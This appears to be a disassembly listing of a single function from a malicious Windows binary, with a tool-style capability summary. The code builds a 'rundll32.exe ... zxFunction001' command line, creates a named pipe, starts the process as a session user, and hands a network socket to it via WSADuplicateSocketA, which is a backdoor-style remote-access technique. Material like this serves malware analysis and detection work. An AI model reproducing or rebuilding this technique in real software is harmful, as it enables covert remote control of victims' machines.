Function at 0x5450e7e0
Capabilities:
Connect pipe
Create pipe
Get common file path

Disassembly:
sub esp, 0x4d4
mov eax, dword [0x5454141c]
xor eax, esp
mov dword [esp + 0x4d0], eax
push esi
xor eax, eax
xor esi, esi
push edi
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.5450d970
push eax
lea eax, [esp + 0x1a0]
push str.RDSRV__.8x
push eax
call fcn.54516af4
add esp, 0x10
push 0x104
lea ecx, [esp + 0x3d8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x198]
push edx
push 0x54542da0
lea eax, [esp + 0x3dc]
push eax
lea ecx, [esp + 0x1d8]
push str._s_rundll32.exe__s_zxFunction001__s
push ecx
call fcn.54516af4
lea edx, [esp + 0x1ac]
push edx
lea eax, [esp + 0x2e8]
push str..pipe_s
push eax
call fcn.54516af4
add esp, 0x20
cmp byte [esp + 0x1cc], 0
lea eax, [esp + 0x1cc]
je 0x5450e8b0
lea esp, [esp]
cmp byte [eax], 0x5c
jne 0x5450e8a8
mov byte [eax], 0x2f
add eax, 1
cmp byte [eax], 0
jne 0x5450e8a0
push 0
push 0x2710
push 0x174
push 0x174
push 0xff
push 6
push 3
lea ecx, [esp + 0x2ec]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x5450e8f1
push str.CreatePipe_failed_r_n
call fcn.54517f46
add esp, 4
jmp 0x5450ea49
lea edx, [esp + 0x1cc]
push edx
push str.szCmdLine___s_r_n
call fcn.54517f46
mov edx, dword [esp + 0x4ec]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1d8]
push ecx
push edx
call fcn.5450e400
movzx esi, al
add esp, 0x14
test esi, esi
jne 0x5450e939
push str.CreateProcessAsSessionUser_failed_r_n
call fcn.54517f46
add esp, 4
jmp 0x5450ea45
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x4e0]
lea eax, [esp + 0x24]
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSADuplicateSocketA]
cmp eax, 0xffffffff
jne 0x5450e96f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WSADuplicateSocket_failed:__d_r_n
call fcn.54517f46
add esp, 8
jmp 0x5450ea22
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x5450e9a4
call ebx
xor ecx, ecx
cmp eax, 0x217
sete cl
mov eax, ecx
test eax, eax
jne 0x5450e9a4
push str.ConnectNamedPipe_failed_r_n
call fcn.54517f46
add esp, 4
jmp 0x5450ea21
push 0
lea edx, [esp + 0x28]
push edx
push 0x174
lea eax, [esp + 0x34]
push eax
push edi
call dword [0x5454291c]
mov esi, eax
test esi, esi
mov eax, dword [esp + 0x24]
je 0x5450ea0f
cmp eax, 0x174
jne 0x5450ea0f
push 0
lea ecx, [esp + 0x20]
push ecx
push 4
lea edx, [esp + 0x2c]
push edx
push edi
call dword [0x54542918]
mov esi, eax
test esi, esi
mov eax, dword [esp + 0x1c]
je 0x5450ea03
cmp eax, 4
jne 0x5450ea03
lea esi, [eax - 3]
mov eax, dword [esp + 0xc]
push 0xffffffffffffffff
push eax
call dword [0x545428ac]
jmp 0x5450ea21
push eax
call ebx
push eax
push esi
push str.SPipe:_ReadFile__d__errcode:__d__cbBytesRead:__d_r_n
jmp 0x5450ea19
push eax
call ebx
push eax
push esi
push str.SPipe:_WriteFile__d__errcode:__d__cbWritten:__d_r_n
call fcn.54517f46
add esp, 0x10
pop ebx
mov ecx, dword [esp + 8]
push 0
push ecx
call dword [0x54542864]
mov edx, dword [esp + 0xc]
push edx
call dword [0x54542850]
mov eax, dword [esp + 8]
push eax
call dword [0x54542850]
test edi, edi
je 0x5450ea57
push edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push edi
call dword [0x54542850]
mov ecx, dword [esp + 0x4d8]
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.54516b6f
add esp, 0x4d4
ret